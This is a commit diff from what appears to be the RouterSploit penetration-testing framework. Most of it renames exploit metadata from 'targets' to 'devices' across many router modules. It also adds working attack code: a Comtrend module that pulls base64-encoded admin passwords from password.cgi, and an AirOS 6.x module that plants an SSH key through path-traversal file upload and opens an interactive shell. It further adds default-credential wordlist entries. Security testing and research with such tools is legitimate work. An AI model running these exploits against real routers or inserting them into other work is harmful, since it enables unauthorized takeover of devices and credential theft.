'Belkin N150 1.00.08', 'Belkin N150 1.00.08',
'Belkin N150 1.00.09', 'Belkin N150 1.00.09',
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/35184/', 'https://www.exploit-db.com/exploits/35184/',
'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/',
], ],
'targets': [ 'devices': [
'Belkin N750', 'Belkin N750',
] ]
} }
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/39568/', 'https://www.exploit-db.com/exploits/39568/',
'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash',
], ],
'targets': [ 'devices': [
'Cisco UCS Manager 2.1 (1b)', 'Cisco UCS Manager 2.1 (1b)',
], ],
} }
......
...@@ -27,10 +27,8 @@ class Exploit(exploits.Exploit): ...@@ -27,10 +27,8 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://packetstormsecurity.com/files/126129/Comtrend-CT-5361T-Password-Disclosure.html' 'https://packetstormsecurity.com/files/126129/Comtrend-CT-5361T-Password-Disclosure.html'
], ],
'targets': [ 'devices': [
'Comtrend CT 5361T (more likely CT 536X)\n' + 'Comtrend CT 5361T (more likely CT 536X)',
'Software Version: A111-312SSG-T02_R01\n' +
'Wireless Driver Version: 4.150.10.15.cpe2.2'
] ]
} }
...@@ -38,34 +36,34 @@ class Exploit(exploits.Exploit): ...@@ -38,34 +36,34 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target port') # default port port = exploits.Option(80, 'Target port') # default port
def run(self): def run(self):
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port)) if self.check():
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
print_status("Requesting for {}".format(url))
print_status("Requesting for {}".format(url)) response = http_request(method="GET", url=url)
if response is None:
return
response = http_request(method="GET", url=url) regexps = [("admin", "pwdAdmin = '(.+?)'"),
if response is None: ("support", "pwdSupport = '(.+?)'"),
return ("user", "pwdUser = '(.+?)'")]
creds = [] creds = []
admin = re.findall("pwdAdmin = '(.+?)'", response.text) for regexp in regexps:
if len(admin): res = re.findall(regexp[1], response.text)
creds.append(('Admin', b64decode(admin[0])))
if len(res):
support = re.findall("pwdSupport = '(.+?)'", response.text) creds.append((regexp[0], b64decode(res[0])))
if len(support):
creds.append(('Support', b64decode(support[0]))) if len(creds):
print_success("Credentials found!")
user = re.findall("pwdUser = '(.+?)'", response.text) headers = ("Login", "Password")
if len(user): print_table(headers, *creds)
creds.append(('User', b64decode(user[0]))) print("NOTE: Admin is commonly implemented as root")
else:
if len(creds): print_error("Credentials could not be found")
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *creds)
print("NOTE: Admin is commonly implemented as root")
else: else:
print_error("Credentials could not be found") print_error("Device seems to be not vulnerable")
@mute @mute
def check(self): def check(self):
...@@ -75,7 +73,19 @@ class Exploit(exploits.Exploit): ...@@ -75,7 +73,19 @@ class Exploit(exploits.Exploit):
if response is None: if response is None:
return False # target is not vulnerable return False # target is not vulnerable
if any(map(lambda x: x in response.text, ["pwdSupport", "pwdUser", "pwdAdmin"])): regexps = ["pwdAdmin = '(.+?)'",
return True # target vulnerable "pwdSupport = '(.+?)'",
"pwdUser = '(.+?)'"]
for regexp in regexps:
res = re.findall(regexp, response.text)
if len(res):
try:
b64decode(res[0]) # checking if data is base64 encoded
except:
return False # target is not vulnerable
else:
return False # target is not vulnerable
return False # target is not vulnerable return True # target is vulnerable
...@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit): ...@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf', 'http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf',
], ],
'targets': [ 'devices': [
'D-Link DIR-300', 'D-Link DIR-300',
'D-Link DIR-600', 'D-Link DIR-600',
'D-Link DIR-615 revD', 'D-Link DIR-615 revD',
......
...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit): ...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'http://seclists.org/bugtraq/2013/Dec/11' 'http://seclists.org/bugtraq/2013/Dec/11'
], ],
'targets': [ 'devices': [
'D-Link DIR-300 (all)', 'D-Link DIR-300 (all)',
'D-Link DIR-600 (all)', 'D-Link DIR-600 (all)',
'D-Link DIR-615 (fw 4.0)', 'D-Link DIR-615 (fw 4.0)',
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'http://www.s3cur1ty.de/home-network-horror-days', 'http://www.s3cur1ty.de/home-network-horror-days',
'http://www.s3cur1ty.de/m1adv2013-003', 'http://www.s3cur1ty.de/m1adv2013-003',
], ],
'targets': [ 'devices': [
'D-Link DIR 300', 'D-Link DIR 300',
'D-Link DIR 600', 'D-Link DIR 600',
] ]
......
...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit): ...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt' 'https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt'
], ],
'targets': [ 'devices': [
'D-Link DIR-645 (Versions < 1.03)', 'D-Link DIR-645 (Versions < 1.03)',
] ]
} }
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'http://www.search-lab.hu/media/D-Link_Security_advisory_3_0_public.pdf', 'http://www.search-lab.hu/media/D-Link_Security_advisory_3_0_public.pdf',
], ],
'targets': [ 'devices': [
'DNS-320L 1.03b04', 'DNS-320L 1.03b04',
'DNS-327L, 1.02', 'DNS-327L, 1.02',
] ]
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'http://seclists.org/fulldisclosure/2015/May/129' 'http://seclists.org/fulldisclosure/2015/May/129'
], ],
'targets': [ 'devices': [
'D-Link DSL-2750B EU_1.01', 'D-Link DSL-2750B EU_1.01',
], ],
} }
......
...@@ -25,7 +25,7 @@ class Exploit(exploits.Exploit): ...@@ -25,7 +25,7 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/39409/', 'https://www.exploit-db.com/exploits/39409/',
'http://ipositivesecurity.blogspot.com/2016/02/dlink-dvgn5402sp-multiple-vuln.html', 'http://ipositivesecurity.blogspot.com/2016/02/dlink-dvgn5402sp-multiple-vuln.html',
], ],
'targets': [ 'devices': [
'D-Link DVG-N5402SP', 'D-Link DVG-N5402SP',
] ]
} }
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://www.exploit-db.com/exploits/39581/', 'https://www.exploit-db.com/exploits/39581/',
], ],
'targets': [ 'devices': [
'D-Link DWR-932', 'D-Link DWR-932',
] ]
} }
......
...@@ -33,7 +33,7 @@ class Exploit(exploits.Exploit): ...@@ -33,7 +33,7 @@ class Exploit(exploits.Exploit):
'http://www.s3cur1ty.de/home-network-horror-days', 'http://www.s3cur1ty.de/home-network-horror-days',
'http://www.s3cur1ty.de/m1adv2013-003', 'http://www.s3cur1ty.de/m1adv2013-003',
], ],
'targets': [ 'devices': [
'FortiGate OS Version 4.x-5.0.7', 'FortiGate OS Version 4.x-5.0.7',
] ]
} }
......
...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit): ...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor', 'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor',
], ],
'targets': [ 'devices': [
'Juniper ScreenOS 6.2.0r15 to 6.2.0r18', 'Juniper ScreenOS 6.2.0r15 to 6.2.0r18',
'Juniper ScreenOS 6.3.0r12 to 6.3.0r20', 'Juniper ScreenOS 6.3.0r12 to 6.3.0r20',
] ]
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://www.exploit-db.com/exploits/24475/', 'https://www.exploit-db.com/exploits/24475/',
], ],
'targets': [ 'devices': [
'Linksys E1500/E2500', 'Linksys E1500/E2500',
] ]
} }
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'http://seclists.org/bugtraq/2010/Jun/93', 'http://seclists.org/bugtraq/2010/Jun/93',
], ],
'targets': [ 'devices': [
'Linksys WAP54Gv3', 'Linksys WAP54Gv3',
] ]
} }
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://firmware.re/vulns/acsa-2015-001.php', 'http://firmware.re/vulns/acsa-2015-001.php',
'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf', 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf',
], ],
'targets': [ 'devices': [
'Netgear WG102', 'Netgear WG102',
'Netgear WG103', 'Netgear WG103',
'Netgear WN604', 'Netgear WN604',
......
...@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit): ...@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
'https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2015-007_Netgear_WNR1000v4_AuthBypass.txt', 'https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2015-007_Netgear_WNR1000v4_AuthBypass.txt',
'http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html', 'http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html',
], ],
'targets': [ 'devices': [
'Netgear N300', 'Netgear N300',
'Netgear JNR1010v2', 'Netgear JNR1010v2',
'Netgear JNR3000', 'Netgear JNR3000',
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://firmware.re/vulns/acsa-2015-002.php', 'http://firmware.re/vulns/acsa-2015-002.php',
'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf', 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf',
], ],
'targets': [ 'devices': [
'Netgear ProSafe WC9500', 'Netgear ProSafe WC9500',
'Netgear ProSafe WC7600', 'Netgear ProSafe WC7600',
'Netgear ProSafe WC7520', 'Netgear ProSafe WC7520',
......
...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit): ...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://www.exploit-db.com/exploits/31894/', 'https://www.exploit-db.com/exploits/31894/',
], ],
'targets': [ 'devices': [
'Technicolor TC7200', 'Technicolor TC7200',
] ]
} }
......
import requests, tempfile, os.path
import paramiko, StringIO, termios, tty, sys, select, socket
from routersploit import (
exploits,
print_success,
print_error,
print_info,
random_text,
sanitize_url,
http_request,
mute,
)
class Exploit(exploits.Exploit):
'''
Exploit implementation for AirOS 6.x - Arbitrary File Upload.
If the target is vulnerable is possible to take full control of the router
'''
__info__ = {
'name': 'AirOS 6.x - Arbitrary File Upload',
'description': 'Exploit implementation for AirOS 6.x - Arbitrary File Upload. If the target is vulnerable is possible to take full control of the router',
'authors': [
'93c08539', #Vulnerability discovery
'Vinicius Henrique Marangoni' #routersploit module
],
'references': [
'https://hackerone.com/reports/73480',
'https://www.exploit-db.com/exploits/39701/'
],
'devices': [
'AirOS 6.x'
]
}
target = exploits.Option('', 'Target address e.g. https://192.168.1.1') #Target address
port = exploits.Option(443, 'Target port e.g. 443') #Default port
#Disable certificate verification warnings
requests.packages.urllib3.disable_warnings()
def run(self):
if(self.check()):
print_success('Target is vulnerable')
print_success('Trying to exploit by uploading SSH public key')
key = paramiko.RSAKey.generate(1024)
public_key = key.get_base64()
private_key = StringIO.StringIO()
key.write_private_key(private_key)
tmp_file_pubkey = tempfile.TemporaryFile()
tmp_file_pubkey.write('ssh-rsa ' + public_key)
tmp_file_pubkey.seek(0)
upload_params = {'file': ('../../etc/dropbear/authorized_keys', tmp_file_pubkey, {'Expect': ''})}
upload_url = sanitize_url('{0}:{1}/login.cgi' .format(self.target, self.port))
response = http_request(url=upload_url, method='POST', files=upload_params)
if(response is None):
print_error('Something was wrong while uploading the SSH Public Key')
return
print_success('Appareantly the exploit worked fine')
print_success('Trying to invoke a interactive SSH Shell')
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
pseudo_privkey_file = StringIO.StringIO(private_key.getvalue())
pkey = paramiko.RSAKey.from_private_key(pseudo_privkey_file)
pseudo_privkey_file.close()
ip_target = self.target.replace('https://', '')
ip_target = ip_target.replace('http://', '')
ip_target = ip_target.replace('/', '')
client.connect(ip_target, 22, username='ubnt', pkey=pkey)
# invoking interactive shell
chan = client.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while(True):
r, w, e = select.select([chan, sys.stdin], [], [])
if(chan in r):
try:
x = unicode(chan.recv(1024))
if(len(x) == 0):
sys.stdout.write('\r\nExiting...\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if(sys.stdin in r):
x = sys.stdin.read(1)
if(len(x) == 0):
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
private_key.close()
else:
print_error('Target is not vulnerable')
@mute
def check(self):
base_url = sanitize_url('{0}:{1}/' .format(self.target, self.port))
upload_url = base_url + 'login.cgi'
response = http_request(url=upload_url, method='GET')
if(response is None):
return False #Target not vulnerable
rand_str = random_text(length=16)
tmp_payload = tempfile.TemporaryFile()
tmp_payload.write('vulnerable' + rand_str)
tmp_payload.seek(0)
upload_params = {'file': ('../../../../tmp/airview.uavr', tmp_payload, {'Expect': ''})}
response = http_request(url=upload_url, method='POST', files=upload_params)
tmp_payload.close()
if(response is None):
return False #Target not vulnerable
#Response to verify if the upload was done correctly
airview_url = base_url + 'airview.uavr'
verify_upload = http_request(url=airview_url, method='GET')
#Upload empty file to "clear" the airview.uavr file
clean_tmp_file = tempfile.TemporaryFile()
clean_tmp_file.seek(0)
upload_params = {'file': ('../../../../tmp/airview.uavr', clean_tmp_file, {'Expect': ''})}
http_request(url=upload_url, method='POST', files=upload_params)
clean_tmp_file.close()
if('vulnerable'+rand_str in verify_upload.text):
return True
else:
return False
...@@ -135,7 +135,7 @@ class RoutersploitCompleterTest(unittest.TestCase): ...@@ -135,7 +135,7 @@ class RoutersploitCompleterTest(unittest.TestCase):
self.set_module() self.set_module()
self.rsf.send("set \t\t") self.rsf.send("set \t\t")
self.assertPrompt( self.assertPrompt(
'passwords port target threads usernames verbosity \r\n', 'passwords stop_on_success threads verbosity\r\nport target usernames \r\n',
self.module_prompt('FTP Bruteforce'), self.module_prompt('FTP Bruteforce'),
'set ', 'set ',
) )
...@@ -181,4 +181,4 @@ class RoutersploitCompleterTest(unittest.TestCase): ...@@ -181,4 +181,4 @@ class RoutersploitCompleterTest(unittest.TestCase):
) )
if __name__ == '__main__': if __name__ == '__main__':
unittest.main() unittest.main()
\ No newline at end of file
...@@ -22,8 +22,8 @@ class RoutersploitInterpreterTest(unittest.TestCase): ...@@ -22,8 +22,8 @@ class RoutersploitInterpreterTest(unittest.TestCase):
RoutersploitInterpreter.setup = mock.Mock() RoutersploitInterpreter.setup = mock.Mock()
self.interpreter = RoutersploitInterpreter() self.interpreter = RoutersploitInterpreter()
self.interpreter.current_module = mock.MagicMock() self.interpreter.current_module = mock.MagicMock()
self.raw_prompt_default = "\033[4mrsf\033[0m > " self.raw_prompt_default = "\001\033[4m\002rsf\001\033[0m\002 > "
self.module_prompt_default = lambda x: "\033[4mrsf\033[0m (\033[91m{}\033[0m) > ".format(x) self.module_prompt_default = lambda x: "\001\033[4m\002rsf\001\033[0m\002 (\001\033[91m\002{}\001\033[0m\002) > ".format(x)
def prepare_prompt_env_variables(self, raw_prompt=None, module_prompt=None): def prepare_prompt_env_variables(self, raw_prompt=None, module_prompt=None):
if raw_prompt: if raw_prompt:
...@@ -290,7 +290,7 @@ class RoutersploitInterpreterTest(unittest.TestCase): ...@@ -290,7 +290,7 @@ class RoutersploitInterpreterTest(unittest.TestCase):
@mock.patch('__builtin__.print') @mock.patch('__builtin__.print')
def test_command_show_info(self, mock_print): def test_command_show_info(self, mock_print):
metadata = { metadata = {
'targets': 'target_desc', 'devices': 'target_desc',
'authors': 'authors_desc', 'authors': 'authors_desc',
'references': 'references_desc', 'references': 'references_desc',
'description': 'description_desc', 'description': 'description_desc',
...@@ -308,7 +308,7 @@ class RoutersploitInterpreterTest(unittest.TestCase): ...@@ -308,7 +308,7 @@ class RoutersploitInterpreterTest(unittest.TestCase):
mock.call('name_desc'), mock.call('name_desc'),
mock.call('\nDescription:'), mock.call('\nDescription:'),
mock.call('description_desc'), mock.call('description_desc'),
mock.call('\nTargets:'), mock.call('\nDevices:'),
mock.call('target_desc'), mock.call('target_desc'),
mock.call('\nAuthors:'), mock.call('\nAuthors:'),
mock.call('authors_desc'), mock.call('authors_desc'),
......
...@@ -5,6 +5,7 @@ from distutils.util import strtobool ...@@ -5,6 +5,7 @@ from distutils.util import strtobool
import sys import sys
import random import random
import string import string
import socket
import requests import requests
...@@ -125,26 +126,26 @@ def multi(fn): ...@@ -125,26 +126,26 @@ def multi(fn):
_, _, feed_path = self.target.partition("file://") _, _, feed_path = self.target.partition("file://")
try: try:
file_handler = open(feed_path, 'r') with open(feed_path) as file_handler:
for target in file_handler:
target = target.strip()
if not target:
continue
self.target, _, port = target.partition(':')
if port:
self.port = port
else:
self.port = original_port
print_status("Attack against: {}:{}".format(self.target,
self.port))
fn(self, *args, **kwargs)
self.target = original_target
self.port = original_port
return # Nothing to return, ran multiple times.
except IOError: except IOError:
print_error("Could not read file: {}".format(self.target)) print_error("Could not read file: {}".format(self.target))
return return
for target in file_handler:
target = target.strip()
if not target:
continue
self.target, _, port = target.partition(':')
if port:
self.port = port
else:
self.port = original_port
print_status("Attack against: {}:{}".format(self.target, self.port))
fn(self, *args, **kwargs)
self.target = original_target
self.port = original_port
file_handler.close()
return # Nothing to return, ran multiple times.
else: else:
return fn(self, *args, **kwargs) return fn(self, *args, **kwargs)
return wrapper return wrapper
...@@ -338,6 +339,9 @@ def http_request(method, url, **kwargs): ...@@ -338,6 +339,9 @@ def http_request(method, url, **kwargs):
except requests.RequestException as error: except requests.RequestException as error:
print_error(error) print_error(error)
return return
except socket.error as err:
print_error(err)
return
except KeyboardInterrupt: except KeyboardInterrupt:
print_info() print_info()
print_status("Module has been stopped") print_status("Module has been stopped")
......
...@@ -166,6 +166,7 @@ admin:rmnetlm ...@@ -166,6 +166,7 @@ admin:rmnetlm
admin:root admin:root
admin:secure admin:secure
admin:setup admin:setup
admin:sky
admin:smallbusiness admin:smallbusiness
admin:smcadmin admin:smcadmin
admin:superuser admin:superuser
...@@ -384,6 +385,7 @@ topicalt:password ...@@ -384,6 +385,7 @@ topicalt:password
topicnorm:password topicnorm:password
topicres:password topicres:password
tw:tw tw:tw
ubnt:ubnt
user:pass user:pass
user:password user:password
user:public user:public
......
...@@ -108,7 +108,6 @@ MPE ...@@ -108,7 +108,6 @@ MPE
MServer MServer
Manager Manager
Master Master
Mau’dib
Menara Menara
MiniAP MiniAP
Multi Multi
...@@ -146,6 +145,7 @@ RSX ...@@ -146,6 +145,7 @@ RSX
SECURITY SECURITY
SERVICE SERVICE
SESAME SESAME
sky
SKY_FOX SKY_FOX
SMDR SMDR
SSA SSA
...@@ -479,6 +479,7 @@ truetime ...@@ -479,6 +479,7 @@ truetime
trustno1 trustno1
tslinux tslinux
tuxalize tuxalize
ubnt
uplink uplink
user user
visual visual
......
...@@ -256,6 +256,7 @@ tiger ...@@ -256,6 +256,7 @@ tiger
topicalt topicalt
topicnorm topicnorm
topicres topicres
ubnt
user user
vcr vcr
veda veda
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment